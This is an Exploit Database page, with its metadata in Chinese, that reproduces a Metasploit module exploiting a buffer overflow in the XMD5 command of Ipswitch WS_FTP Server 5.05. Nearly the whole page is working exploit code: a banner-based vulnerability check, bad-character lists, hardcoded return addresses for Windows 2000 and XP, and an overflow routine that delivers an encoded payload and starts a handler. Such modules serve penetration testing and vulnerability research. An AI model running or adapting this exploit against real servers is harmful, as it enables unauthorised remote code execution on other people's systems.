Ipswitch WS_FTP Server 5.05 – XMD5 Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16717/

• ##
  # $Id: wsftp_server_505_xmd5.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Ipswitch WS_FTP Server 5.05 XMD5 Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the XMD5 verb in
  				IPSWITCH WS_FTP Server 5.05.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-4847' ],
  					[ 'OSVDB', '28939' ],
  					[ 'BID', '20076' ],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 300,
  					'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],
  					[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 } ],
  					[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
  
  				],
  			'DisclosureDate' => 'Sep 14 2006',
  			'DefaultTarget' => 0))
  	end
  
  	def check
  		connect
  		disconnect
  		if (banner =~ /WS_FTP Server 5.0.5/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect_login
  
  		print_status("Trying target #{target.name}...")
  
  		sploit =rand_text_alphanumeric(676, payload_badchars)
  		sploit << [target.ret].pack('V') + payload.encoded
  
  		send_cmd( ['XMD5', sploit] , false)
  
  		handler
  		disconnect
  	end
  
  end